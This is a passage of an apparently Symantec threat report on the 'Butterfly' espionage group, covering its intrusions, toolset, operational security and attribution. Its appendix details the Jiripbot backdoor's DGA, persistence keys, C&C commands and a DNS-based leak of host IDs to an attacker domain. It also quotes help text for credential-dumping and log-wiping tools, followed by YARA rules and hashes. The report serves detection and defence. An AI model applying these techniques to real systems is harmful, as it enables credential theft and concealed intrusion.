or to retrieve a copy of the exploit. In late 2014, Java was used to create a file called updt.dat on a system belonging to another targeted organization. The updt.dat file was located in a JBossweb folder, which is a sub-folder of Apache Tomcat. Based on this activity, it seems likely that the JBoss server was compromised to deploy the malware. The breach may have been a result of an SQL injection attack. This is based on evidence from an analyzed C&C server, where we discovered that the Butterfly attackers use the SQLMap tool against their targets. Once Butterfly gains a foothold in the victim s network, they begin to carefully spread through it, until they locate a system of interest. Spreading In at least two incidents, the attackers appear to have taken advantage of internal systems to spread through a network once they gained initial access. In one instance, the attackers used a Citrix profile management application to create a back door on a newly infected system. This application can be used to install applications or manage a user s profile for authentication. It s likely that the attackers took advantage of this system and placed the back door in a specific profile, which was triggered when the profile s owner logged in. In the second incident, the TeamViewer application was used to create copies of Backdoor.Jiripbot on the compromised computers. It appears that TeamViewer was legitimately present on the targeted computers and was then taken advantage of by the attackers. However the attackers spread within a network, they are able to move quickly. In one breach, the attackers first compromised a computer on April 16, 2014. Within one day, they compromised three more computers. Once a computer is infected, the attackers seem to rapidly determine whether or not the computer is valuable to them. There are two instances where there was no additional Butterfly activity after the computers were infected, apart from the creation of shred.exe. In these cases, the attackers likely determined that the infected computers were not valuable targets and used shred.exe to securely remove the infections. The Butterfly toolkit The Butterfly attackers use a number of different tools, a subset of which has been retrieved from compromised computers. This set of tools appears to be unique to the attackers, as the tools have been in use in combination with each other and there has been no open source data on the various tools used. The attackers use the hacking tools once they gain a foothold on a network. They generally give the tools .dat extensions and file names that usually give some indication of the tools purposes. For example, the attackers refer to one of the tools as Banner Jack and deploy it with the name bj.dat. It is likely that these files are encrypted when they are downloaded and are then decrypted when on disk. Known hashes and corresponding file names are listed in the appendix under the Hashes section. A number of the hacking tools also contain help documentation, which details how to use the tool. Each help description is listed in the appendix, where present. OSX.Pintsized and Hacktool.Securetunnel The back door OSX.Pintsized was well documented by F-Secure, Intego, and Romang after the 2012/2013 tech company attacks. OSX.Pintsized is a modification of OpenSSH that runs on Mac OS X, and contains additional code to read two new arguments and an embedded RSA key. The two additional arguments are and which are used to pass a C&C server address and port respectively. The back door has also been observed using a very basic Perl script that opens a reverse shell. Page 11 Butterfly: Corporate spies out for financial gain The Butterfly attackers use the same modified version of OpenSSH on 32-bit Windows systems. This version uses the exact same and additional arguments and also includes an embedded RSA key. The attackers have two versions: one which is statically linked against OpenSSH and the other which is compiled using a Cygwin DLL. Symantec detects these samples as Hacktool.Securetunnel. Backdoor.Jiripbot Romang referenced a malware family called Backdoor.Jiripbot (aka Jripbot) in his blog. This is the Butterfly group s primary back door tool, which has a fallback domain generation algorithm (DGA) for maintaining command and control. A comprehensive technical description of this malware family is provided in the appendix. One notable point about Backdoor.Jiripbot is the use of the string AYBABTU as an encryption key. This is the acronym for All your base are belong to us , a popular meme used by gamers. The attackers have used several variants of this malware family from 2013 to at least June of 2015, with several minor modifications adding or removing commands. Hacktool.Bannerjack Hacktool.Bannerjack is used to retrieve default messages issued by Telnet, HTTP, and generic Transmission Control Protocol (TCP) servers. The help documentation for the tool is listed in the appendix. The tool takes an IP address range and port. It then connects to each IP address on a given port, retrieving and logging any data printed by the server. The tool is presumably used to locate any potentially vulnerable servers on the local network, likely including printers, routers, HTTP servers, and any other generic TCP servers. Hacktool.Multipurpose Hacktool.Multipurpose also appears to be a custom-developed tool. It is designed to assist attackers in spreading through a network. It hides activity by editing events logs, dumping passwords, securely deleting files, encrypting files, and performing basic network enumeration. The help documentation for this tool is quite comprehensive and extensively explains the tool s functionality. This documentation is listed in the appendix. Hacktool.Eventlog Hacktool.Eventlog is another multipurpose tool, but its primary functionality is to parse event logs, dumping out ones of interest, and to delete entries. The tool will also end processes and perform a secure self-delete. The help documentation for the tool is listed in the appendix. Hacktool.Proxy.A Hacktool.Proxy.A creates a proxy connection that allows attackers to route traffic through an intermediary node onto their destination node. The documentation for the tool is listed in the appendix. Operational security The Butterfly attackers have demonstrated excellent operational security, as we have observed in several aspects of their attacks. The Butterfly attackers use a number of anti-forensics techniques to prevent detection and presumably hinder investigation into their activity when discovered. The group s malware and other files are securely deleted using either the GNU Shred tool, which overwrites a file s contents as well as deleting the index from the file allocation Page 12 Butterfly: Corporate spies out for financial gain table, or the shred functionality written into a custom tool. Similarly, event logs are modified to remove any evidence of the attackers activity. A specific tool, Hacktool.Eventlog, appears to have been developed to perform just this function. Using both techniques, the attackers can securely remove infections from computers that are of no interest, letting them avoid leaving any trace of activity. Another aspect of Butterfly s operational security is the use of throwaway registrant names for C&C domains. There appears to be no re-use of email addresses or names when registering different domains and C&C servers. Similarly, the Butterfly attackers use bitcoins to pay hosting providers to host their C&C servers. This method of payment makes it difficult for investigators to track the transaction back to a particular entity. Finally, one of the most telling aspects of the Butterfly attackers level of operational security is how they run their C&C servers. Symantec performed a forensic analysis of a C&C server used by the Butterfly attackers in late 2014. These attackers typically use a multi-staged C&C infrastructure, with several servers acting as proxies and redirecting connections back to a final server. Symantec believes that the analyzed server was this final server, however, it was not possible to confirm this. The analyzed server was running Debian Linux and was very clean, with little traces of activity. Logging had been disabled and any log files that had been created before logging was disabled were securely deleted. A single file was present in the /root/ directory. This file, called hd-porn-corrupted_tofix.rar , was 400GB in size. Despite the .rar extension, it was not a .rar file. However, there were some indications on the server as to what this file actually was. Truecrypt was installed on the server, as was Virtual Box. Truecrypt is an encryption tool that can be used to create an encrypted file system in a single file. Virtual Box is software that can be used to run a virtual machine. It is likely that the 400GB .rar file was an encrypted Truecrypt file which contains a Virtual Box virtual machine. The Butterfly attackers would decrypt and run the virtual machine, redirecting SSH traffic from the physical hosting server to the virtual machine. This would give the attackers the ability to control compromised systems from within the virtual machine. This type of design is effective at hindering analysis without a live memory image of the C&C server. There were other hints of activity on the C&C server as well. There was evidence to suggest that the attackers used the SQLMap tool. This tool looks for SQL weaknesses in web applications, and indeed, as previously mentioned, at least one victim was compromised through a JBoss server, possibly through an SQL injection attack. Also, the local time zone of the C&C server was changed to New York, UTC-5. However, apart from the SQLMap activity and the modified time zone, there was no other evidence on the C&C server. The Butterfly attackers maintained a very clean house. Page 13 Butterfly: Corporate spies out for financial gain Attribution Based on the gathered evidence, there are several plausible theories that describe the nature of the Butterfly attackers. A summary of some of the data gathered is presented below: Victims are primarily large corporations, mostly related to technology, pharmaceutical, commodities, and law. The targeted technology companies are mostly based in the US, however, other victims are spread across the globe. There is one government victim Infection numbers are generally quite low; there are not many concurrent infections Activity remains consistent across infected organizations; the attackers use same file names and deploy the same tools The group has excellent operational security The attackers have had access to at least one zero-day exploit, likely two and possibly more. The attackers appear to develop their own tools. The group s various hacktools have extensive documentation written in good English. Several memes or colloquialisms specific to English speakers are used All your bases are belong to us The AYBABTU encryption key in Backdoor.Jiripbot Stuffz A phrase used in the Hacktool.Multipurpose description To mean delete, used in the Hacktool.Eventlog description The time zone of the C&C server is set to EST The nature of the observed victims indicates that it s likely that Butterfly attackers motivation is not for national security intelligence, but rather for financial purposes. While there is one government victim, this likely appears to be collateral damage. As the hack tools include detailed documentation, it s likely that there is more than one person performing the attacks, as a single attacker would not need to document their own tools. Based on the few concurrent infections, Butterfly may be made up of a small number of attackers, perhaps between three and ten people. It is also easier to maintain good operational security with a small number of people. The attackers are well resourced, given that they have access to at least one zero-day (the Java exploit), and possibly more (potential Internet Explorer 10 zero-day exploit). Their access to zero-day exploits implies that they either have the funding to purchase a zero-day or the technical skills to identify and exploit undiscovered vulnerabilities. If the Butterfly group is small, then it would make more sense to utilize people with a general skill set, rather than individuals who specialize in exploit discovery. This implies that the purchase of zero-day exploits is more likely. Along with this, if Butterfly is a professional group of hackers who work against deadlines and has internal goals, that would imply the need to be able to access zero-day exploits on demand. That would mean purchasing them, rather than waiting for a team member to discover one. At least some of the Butterfly attackers appear to be native English speakers, based on the help documentation in the hack tools and the use of memes and colloquialisms. It is possible that these English speakers are based in the US, judging from the time zone set on the C&C server. However, this seems like a very basic mistake for the attackers to make, considering how they have demonstrated great attention to detail in most aspects of their operations. Some attribution theories that may fit the evidence and conclusions are as follows: This is economic espionage by a government agency This is an organization made up of hackers-for-hire This is an organization with a single customer A government agency is the least likely of these theories, given the number of victims that span across various geopolitical boundaries and the lack of targeting of any victims that are related to traditional intelligence-gathering. It is far more likely that the Butterfly attackers are an organization of individuals working closely together to either steal intellectual property for another client or for their own financial gain, for example through the stock market. Page 14 CONCLUSION Organizations need to be aware of the threat that corporate espionage groups like Butterfly can pose. Butterfly: Corporate spies out for financial gain Conclusion Butterfly is a skilled, persistent, and effective attack group which has been active since at least March 2012. They are well resourced, using at least one or possibly two zero-day exploits. Their motivation is very likely to be financial gain and given that they have been active for at least three years, they must be successful at monetizing their operation. Based on our analysis, the Butterfly attackers are likely a small team that steals data either as a service to another client or to monetize it themselves through insider trading. Symantec believes that some members of Butterfly are native English speakers, given some of the colloquialisms and Western meme references included in their infrastructure. The Butterfly attackers represent a threat to organizations involved in technology, pharmaceutical, law, investment, energy and natural resources. However, over the past three years, the attackers have demonstrated that they can change their targets quickly, as they moved to include commodities in their list of targets in 2014. Clearly, the Butterfly attackers will go where the money is. Organizations need to be aware of the threat that corporate espionage groups like Butterfly can pose. The attack group or their potential clients may have strong knowledge on how to leverage the stolen data to unfairly make gains in the market. Page 16 Butterfly: Corporate spies out for financial gain Protection Symantec customers are protected against the Butterfly attacker toolset with the following signatures. Additionally, YARA signatures and other indicators of compromise (IoCs) are listed in the appendix. Antivirus Backdoor.Jiripbot Hacktool.Multipurpose Hacktool.Securetunnel Hacktool.Eventlog Hacktool.Bannerjack Hacktool.Proxy.A System Infected: Backdoor.Jiripbot DGA Activity System Infected: Backdoor.Jripbot Activity Page 17 APPENDIX Butterfly: Corporate spies out for financial gain Appendix Technical description of Backdoor.Jiripbot There are several Table 1. Files analyzed from one variant of Jiripbot different versions PE timestamp Size File name of Backdoor. Jiripbot, with the 12/13/2013 08:42 95ffe4ab4b158602917dd2a999a8caf8 302,592 FlashUtil.exe attackers adding 06/20/2014 07:06 531f2014a2a9ba4ddf3902418be23b52 302,592 LiveUpdater.exe or removing 06/20/2014 07:06 a0132c45e8afe84091b7b5bf75da9037 302,592 LiveUpdater.exe functionality over 06/20/2014 07:06 1d5f0018921f29e8ee2e666137b1ffe7 302,592 LiveUpdater.exe time. Details of one version is 08/20/2013 20:16 a90e836e0a6f5551242a823a6f30c035 361472 bda9.tmp presented in this document, with the majority of functionality remaining unchanged across different versions. Purpose Back door Back door Back door Back door Dropper Functionality If the samples are executed with no command line argument and expected registry entries are missing, an infinite loop is entered that calculates SHA-1 hashes on random data. This is likely an attempt to avoid automation engines. To perform any activity, the samples need to be executed with a command line argument that begins with http This value is encrypted and stored in the registry; the registry location varies based on the sample. Each sample first encrypts the URL using RC4 with a hard-coded key. It should be noted that the hard-coded key is stored in the binary as a wide character string, but is converted to a multibyte character string before the key is used. This conversion will vary based on the region of the system executing the code. The malware takes exactly one command line argument, but the single command line argument has a structure that is manually parsed by the malware. The structure of the command line argument is as follows: http://[DOMAIN NAME].com /opts opt=val,opt=val... Where is one of the following: vm: Set to a number. will disable vmware checks proxy_username: HTTP proxy user name to use proxy_password: HTTP proxy password to use proxy_host: HTTP proxy host to use proxy_port: HTTP proxy port to use resolv: Host name to resolve to delay: Number of delay loops to execute sleeptime: Number of seconds to sleep at certain points in the code cnx: Parameter that modifies how C&C server is interacted with Once the URL from the command line is RC4-encrypted, it is encrypted a second time using the crypt32!CryptProtectData API, with OptionalEntropy set to the ASCII string AYBABTU (this is the acronym for the phrase All your base are belong to us ). The use of crypt32!CryptProtectData ensures that if the encrypted data is retrieved from an infected computer, it is very hard to decrypt the data on another computer. The documentation for crypt32!CryptProtectData states: Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data. Next the malware examines its execution environment. It first checks to make sure that the file name it is currently running under is the same as the original name when the executable was created. It also looks for certain process names of running processes. The process names it searches for are hashed, so we are not clear what it is looking for. It checks that the hashed value of the registry subkey HKEY_LOCAL_MACHINE\Microsoft\WindowsNT\ CurrentVersion\ProductId is not equal to a number of hashed values. It checks the hashed values of the registry Page 19 Butterfly: Corporate spies out for financial gain keys in HKEY_LOCAL_MACHINE\SOFTWARE against a list of hashes. It also checks the registry subkeysHKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Disk\Enum and HKEY_LOCAL_MACHINE\HARDWARE\ DESCRIPTION\System\BIOS\SystemProductName resolv command When the resolv command line argument is set to a domain name, a domain name system (DNS) resolution request is made for that domain name with the current computer name and calculated UID value prepended to For example, we observed the following: resolv=h30026.drfx.chickenkiller.com When the sample is run with resolv set to that value, the following DNS query was observed: thread-2d9f4de5.1401420000c29bfea70f49b94b825e3e7586ce61350.h30026.drfx. chickenkiller.com In this query, thread-2d9f4de5 is the computer name and 1401420000c29bfea70f49b94b825e3e7586ce61350 is the calculated UID value. It is possible that the attackers use this method to exfiltrate the UID value, as the value is used in the DGA algorithm. UID/UPDATE_ID calculation The UID is a unique ID calculated by the malware, as the following example shows: 1401420000c29bfea70f49b94b825e3e7586ce61350 This ID consists of the following elements: 14014: Hard-coded string in the malware. May be a version number 2: The operating system version 0: 0 indicates x86, 1 indicates x86_64 000c29bfea70: This is the last six bytes of the UUID generated by a call to rpcrt4!UuidCreateSequential. This corresponds to the media access control (MAC) address of the infected computer. f49b94b8: This is the first eight bytes of the volume serial number from a call to kernel32!GetVolumeInfomationW 25e3e758: This is a dword hash of the string [COMPUTER NAME]\[USER NAME] using the current values from the computer name and user name 6ce61350: This is a hard-coded dword in the binary For the operating system (the number at offset 5 in previous UID example), the complete table is: 0: Unknown/Error/Windows 8.1/Windows Server 2012 R2 1: Windows 2000 2: Windows XP 3: Windows 2003, Windows XP Pro x64, Windows Home Server, Windows 2003 R2 4: Windows Vista 5: Windows Server 2008 6: Windows 7 7: Windows Server 2008 R2, Windows Server 2012 8: Windows 8 Installation The following registry subkeys may be used by Butterfly to maintain persistence: HKEY_CURRENT_USER\Software\Adobe\Preferences HKEY_CURRENT_USER\Software\Adobe\Options HKEY_CURRENT_USER\Software\Adobe\UID Page 20 Butterfly: Corporate spies out for financial gain HKEY_CURRENT_USER\Software\Acer\UPDATE_ID HKEY_CURRENT_USER\Software\Acer\Preferences HKEY_CURRENT_USER\Software\Acer\Options HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Acer LiveUpdater (likely named Liveupdater.exe) HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Adobe Flash Plugin Updater (FlashUtil.exe) The registry data stored in the Preferences and Options subkeys are REG_BINARY keys and the data within is encrypted using RC4 and crypt32!CryptProtectData, as described previously. The registry data stored in the UID is not encrypted; it is stored in plain text. The value of Preferences is the encrypted version of the first command line argument used to first start the malware. For example, if the malware is launched as: FlashUtil.exe http://[DOMAIN NAME].com /opts vm=2 The value of Preferences will be: http://[DOMAIN NAME].com /opts vm=2. The value of Options is the URL from the command line argument, so for the previous example, the value would be: http://[DOMAIN NAME].com Networking DGA Algorithm The DGA computes a URL similar to the following: http://jdk.MD5([MM].[YYYY].[UID AS WIDE-CHARACTER STRING]).org [MM] is the current month and [YYYY] is the current year. Note that the value of [UID AS WIDE-CHARACTER STRING] is the value of the UID registry entry, but as a wide characters, so 07.2014.140... would be 0\x007\ x00.\x002\x000\x001\x004\x00.\x001\x004\x000\x00... for the purposes of the MD5 calculation. For example, on July 22, 2014 on a system with the UID set to 1401420000c29bfea70f49b94b825e3e7586ce61350 , the DGA URL would be: http://jdk.MD5(\ 07.2014.1401420000c29bfea70f49b94b825e3e7586ce61350\ ).org Finally: http://jdk.20e8ad99287f7fc244651237cbe8292a.org Note that some samples use HTTPS instead of HTTP. C&C commands The following commands implement back door functionality. cd: Changes current working directory exec: Executes a file using cmd.exe install: Sets the registry subkey for persistence. The registry subkey is only set if this command is sent quit: Ends the back door session sleeptime: Sets the sleep time between C&C queries shred: Overwrites file multiple times to perform a forensic-safe delete. Only found in samples with a PE timestamp in 2014 sysinfo: Gathers and reports system information uninstall: Uninstalls itself Page 21 Butterfly: Corporate spies out for financial gain update: Updates itself url: Updates C&C URL in registry (although this feature appears to be disabled) wget: Downloads file to infected computer Decryption keys The following MD5s used the corresponding keys for decryption: 95ffe4ab4b158602917dd2a999a8caf8: 0xb4 531f2014a2a9ba4ddf3902418be23b52: 0xa9 a0132c45e8afe84091b7b5bf75da9037: 0xa9 1d5f0018921f29e8ee2e666137b1ffe7: 0xa9 There is a string in all of the binaries equal to la revedere , which is goodbye in Romanian. Hacktool help descriptions Hacktool.BannerJack The following information details the help output of Hacktool.BannerJack: Usage: ./banner-jack [options] -f: file.csv -s: ip start -e: ip end -p: port -t: thread numbers (optional, default 4) -v: verbose (optional) -d: daemonize (optional - not supported on win32) -T: timeout connect (optional, default %d secs) -R: timeout read (optional, default %d secs) Hacktool.MultiPurpose The following information is the help output of Hacktool.MultiPurpose: Version: 1.5 General options ----------------install: install server on local host and load it --host : hostname or IP (local host if not set) --password : server password connection (mandatory) --forceload: load server on local host without test Server options ---------------cmd: server command: dump: dump stuffz --sam: fetch LM/NTLM hashes --machines: fetch machines hashes --history: fetch history for LM/NTLM hashes --sh: fetch logon sessions hashes --sp: fetch security packages cleartext passwords --accounts: : with --sam, specify accounts to dump (comma separated) --lsa: fetch LSA secrets Page 22 Butterfly: Corporate spies out for financial gain --vnc: fetch VNC server password pth : change credentials of PID startlog: start recording of loggon sessions stoplog: stop recording of loggon sessions getlog: retrieve stored loggon sessions callback : create a callback to IP:host ping: ping server shred : shred a file remove: cancel null session, clean logs, wipe library quit: unload library reboot: reboot windows info: show info (version, library path, etc.) listevt: list events logs showevt [:num]: show last entries in events log (default num: 15) last [num]: show last login/logoff (default num: all) cleanlast-user : remove user from security logs cleanlast-desc : remove word from security logs (in description) cleanlast-quit <1|0>: enable/disable cleaning ANONYMOUS LOGON entries before quit Output options ---------------file : output filename to dump information in --compress: compress data (only used when file is set) --encrypt : encrypt data (only used when file is set) Misc options -------------print : print a compress and/or encrypted specified file --test445: test if port 445 is available on specified host --establishnullsession, --ens: establish a null session on specified host --cancelnullsession, --cns: cancel an established null session with a specified host Hacktool.Proxy.A The following information details the help output of Hacktool.Proxy.A: -z ip/host : destination ip or host -P port : destination port -x ip/host : proxy ip or host -Y port : proxy port -C cmdline : commandline to exec -u user : proxy username -p pass : proxy password : NTLM auth : displays program version : bypass mutex check --pleh : displays help Page 23 Butterfly: Corporate spies out for financial gain Hacktool.Eventlog The following information details the help output of Hacktool.Eventlog: -z Zap (kill) all processes with specified name -y Dump logon/logoff events from Security channel (-t and -n optionals) -X Secure self delete our program -x Secure delete a file -w Show all logs from a .evtx file (requires -f) -v Enable verbose mode -t Delta time (in hours -s Dump logon/logoff events from System channel (-t and -n optionals) -r RecordIds list, comma separated without spaces ( 1234,5678 -q Query Mode -p Filter with provider -n Number of events to show (default 16, 0=all) -ll List all channels -l List used channels -K Match a keyword in XML data (case insensitive) from all channels -k Match a keyword in XML data (case insensitive) from a specific channel -h Help -f Specify a .evtx file (system.evtx) -F Flush all logs to disk -e EventIds list, comma separated without spaces ( 1234,5678 -Dr Dump all logs from a channel or .evtx file (raw parser) (-c or -f) -D Dump all logs from a channel .evtx file (requires -c or -f) -d Delete mode (requires -e or -r) -c Specify a channel ( Security System Application , ...) YARA signatures The following details are the YARA signatures related to this analysis: rule Bannerjack meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly BannerJack hacktool strings: $str _ 1 = Usage: ./banner-jack [options] $str _ 2 = -f: file.csv $str _ 3 = -s: ip start $str _ 4 = -R: timeout read (optional, default %d secs) condition: all of them rule Eventlog meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly Eventlog hacktool strings: $str _ 1 = wevtsvc.dll $str _ 2 = Stealing %S.evtx handle ... $str _ 3 = ElfChnk Page 24 Butterfly: Corporate spies out for financial gain $str _ 4 = -Dr Dump all logs from a channel or .evtx file (raw condition: all of them rule Hacktool meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly hacktool strings: $str _ 1 = \\\\.\\pipe\\winsession wide $str _ 2 = WsiSvc wide $str _ 3 = ConnectNamedPipe $str _ 4 = CreateNamedPipeW $str _ 5 = CreateProcessAsUserW condition: all of them rule Multipurpose meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly Multipurpose hacktool strings: $str _ 1 = dump %d|%d|%d|%d|%d|%d|%s|%d $str _ 2 = kerberos%d.dll $str _ 3 = \\\\.\\pipe\\lsassp $str _ 4 = pth : change condition: all of them rule Securetunnel meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly Securetunnel hacktool strings: $str _ 1 = KRB5CCNAME $str _ 2 = SSH _ AUTH _ SOCK $str _ 3 = f:l:u:cehR $str _ 4 = .o+=*BOX@%&#/^SE condition: all of them rule Proxy Page 25 Butterfly: Corporate spies out for financial gain meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly proxy hacktool strings: $str _ 1 = -u user : proxy username $str _ 2 = --pleh : displays help $str _ 3 = -x ip/host : proxy ip or host $str _ 4 = : bypass mutex check condition: all of them rule jiripbot _ ascii _ str _ decrypt meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly Jiripbot hacktool strings: $decrypt _ func = { 85 FF 75 03 33 C0 8B C7 8D 50 01 8A 08 84 C9 75 F9 2B C2 8B D8 80 7C 3B FF ?? 75 3E 83 3D ?? ?? ?? ?? 00 BE ?? ?? ?? ?? 75 11 FF 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 33 C0 85 DB 74 09 80 34 38 ?? 3B C3 72 F7 FF 15 ?? ?? ?? ?? Page 26 Butterfly: Corporate spies out for financial gain 8B C7 condition: $decrypt _ func rule jiripbot _ unicode _ str _ decrypt meta: author = Symantec Security Response date = 2015-07-01 description = Butterfly Jiripbot Unicode hacktool strings: $decrypt = { 85 ?? 75 03 33 C0 8B ?? 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 8B F8 B8 ?? ?? ?? ?? 66 39 44 7E FE 75 43 83 3D ?? ?? ?? ?? 00 BB ?? ?? ?? ?? 75 11 FF 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 33 C0 85 FF 74 0E B9 ?? 00 00 00 66 31 0C 46 3B C7 72 F2 FF 15 ?? ?? ?? ?? 8B C6 condition: $decrypt Page 27 Butterfly: Corporate spies out for financial gain File hashes Many of the hashes listed in Table 2 are for clean files which are used by the Butterfly attackers. Do not use any marked with or Clean files in any automated detection system. They are provided merely as potential indicators of compromise, not as definitively malicious files. Any files that are marked as were not retrievable by Symantec, but are believed to be used by the attackers. Table 2. File hashes of tools used by the Butterfly attackers, including filenames. (List includes clean files) SHA-256 File name Description 2a8cb295f85f8d1d5aae7744899875ebb4e6c3ef74fbc5bfad6e7723c192c5cf winsession.dll Hacktool da41d27070488316cbf9776e9468fae34f2e14651280e3ec1fb8524fda0873de bj.dat Hacktool.Bannerjack 796b1523573c889833f154aeb59532d2a9784e4747b25681a97ec00b9bb4fb19 bj.dat Hacktool.Bannerjack c54f31f190b06649dff91f6b915273b88ee27a2f8e766d54ee4213671fc09f90 pc.dat Hacktool.Multipurpose 54a8afb10a0569785d4a530ff25b07320881c139e813e58cb5a621da85f8a9f5 pc.dat Hacktool.Multipurpose 2bd5f7e0382956a7c135cdeb96edfdbccfcfc1955d26e317e2328ea83ace7cee pc.dat Hacktool.Multipurpose c83bb0330d69f6ad4c79d4a0ce1891e6f34091aecfeaf72cf80b2532268a0abc pc.dat Hacktool.Multipurpose 178b25ddca2bd5ea1b8c3432291d4d0b5b725e16961f5e4596fb9267a700fa2f PC.DAT Hacktool.Multipurpose 9bff19ca48b43b148ff95e054efc39882d868527cdd4f036389a6f11750adddc PC.DAT Hacktool.Multipurpose e8591c1caa53dee10e1ef748386516c16ab2ae37d9555308284690ea38ddf0c5 clapi32.dll Clean Cygwin DLL d15b8071994bad01226a06f2802cbfe86a5483803244de4e99b91f130535d972 Bda9.tmp. Backdoor.Jiripbot 0ac7b594aaae21b61af2f3aabdc5eda9b6811eca52dcbf4691c4ec6dfd2d5cd8 wlc.dat Hacktool.EventLog b81484220a46c853dc996c19db9416493662d943b638915ed2b3a4a0471cc8d8 wlc.dat Hacktool.EventLog 49e4198c94b80483302e11c2e7d83e0ac2379f081ee3a3aa32d96d690729f2d6 wlc.dat Hacktool.EventLog fcaab8f77e4c9ba922d825b837acfffc9f231c3abb21015369431afae679d644 wlc.dat Hacktool.EventLog 534004a473761e60d0db8afbc99390b19c32e7c5af3445ecd63f43ba6187ded4 a.exe Backdoor.Jiripbot 534004a473761e60d0db8afbc99390b19c32e7c5af3445ecd63f43ba6187ded4 FLASHUTIL.EXE Backdoor.Jiripbot 758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92 Backdoor.Jiripbot 683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9 Backdoor.Jiripbot 8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a Backdoor.Jiripbot 14bfc2bf8a80a19ff2c1480f513c96b8e8adc89a8d75d7c0064f810f1a7a2e61 LiveUpdater.exe Backdoor.Jiripbot c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0 LiveUpdater.exe Backdoor.Jiripbot ccc851cbd600592f1ed2c2969a30b87f0bf29046cdfa1590d8f09cfe454608a5 LiveUpdater.exe Backdoor.Jiripbot 2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94 LiveUpdater.exe Backdoor.Jiripbot 6fb43afb191b09c7b62da7a5ddafdc1a9a4c46058fd376c045d69dd0a2ea71a6 LiveUpdater.exe Backdoor.Jiripbot 48c0bd55e1cf3f75e911ef66a9ccb9436c1571c982c5281d2d8bf00a99f0ee1a Backdoor.Jiripbot 781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e FlashUtil.exe Backdoor.Jiripbot 1a9f679016e38d399ff33efcfe7dc6560ec658d964297dbe377ff7c68e0dfbaf LiveUpdater.exe Backdoor.Jiripbot b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45 RtlUpd.exe Backdoor.Jiripbot cafc745e41dbb1e985ac3b8d1ebbdbafc2fcff4ab09ae4c9ab4a22bebcc74e39 clapi32.dll Clean Cygwin DLL 25fe7dd1e2b19514346cb2b8b5e91ae110c6adb9df5a440b8e7bbc5e8bc74227 rtlupd.exe Backdoor.Jiripbot 8db5c2b645eee393d0f676fe457cd2cd3e4b144bbe86a61e4f4fd48d9de4aeae IASTOR32.EXE Hacktool.Securetunnel 9fab34fa2d31a56609b56874e1265969dbfa6c17d967cca5ecce0e0760670a60 iastor32.exe Hacktool.Securetunnel bc177e879fd941911eb2ea404febffa2042310c632d9922205949155e9b35cb6 iastor32.exe Hacktool.Securetunnel 2d3ea11c5aea7e8a60cd4f530c1e234a2aa2df900d90122dd2fcf1fa9f47b935 IASTOR32.EXE Hacktool.Securetunnel 81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938 iastor32.dat Hacktool.Securetunnel Page 28 Butterfly: Corporate spies out for financial gain 81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938 IASTOR32.EXE Hacktool.Securetunnel 7aa1716426614463b8c20716acf8fd6461052a354b88c31ad2cc8b8a3b3e6868 nrouting.exe Hacktool.Securetunnel 7aa1716426614463b8c20716acf8fd6461052a354b88c31ad2cc8b8a3b3e6868 nspool.exe Hacktool.Securetunnel efbc082796df566261b07f51a325503231e5a7ce41617d3dfff3640b0be06162 updt.dat Hacktool.Securetunnel cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2 mspool.exe Hacktool.Securetunnel cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2 nspool.exe Hacktool.Securetunnel a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c twunk_64.exe Hacktool.Securetunnel a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c updater.dat Hacktool.Securetunnel a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c UPDT.DAT Hacktool.Securetunnel 3756ddcb5d52f938dd9e07d61fae21b70e665f01bbb2cbe04164e82892b86e2f pc.dat Hacktool.Securetunnel 3756ddcb5d52f938dd9e07d61fae21b70e665f01bbb2cbe04164e82892b86e2f twunk_64.exe Hacktool.Securetunnel 90b5fec973d31cc149d0e2683872785fa61770deec6925006e9142374c315fde CP.DAT Hacktool.Proxy.A 1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0 msvcse.exe Hacktool.Proxy.A 1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0 proxynt2.exe Hacktool.Proxy.A 45f363e498312a34fa99af3c1cdd635fcebefaa3222dff348a9ab8ca25530797 cp.dat Hacktool.Proxy.A b49ad915beccbeeb9604ed511df0efc6cedc048c75b51806f8592031c2ca3208 sh.exe Shred (Clean tool) b49ad915beccbeeb9604ed511df0efc6cedc048c75b51806f8592031c2ca3208 shred.exe Shred (Clean tool) 1baac5d450fb5d6eb76731c7fb4af85ede2603b4fad8087e572e4818150edc3e kerberos32.dll c224006b7d307a8e46be174085cff789823ab2901095c56b4e90d582877ebafb nltest.exe c8e2029d6d4fa2cbd4d120c289938476b7943fdfa689709af64bd3f270156212 cudacrt.dll ece2d793bd809288d763e31036bc561bbc34452785eed64d39ef91e61f6ae741 nvcplex.dat 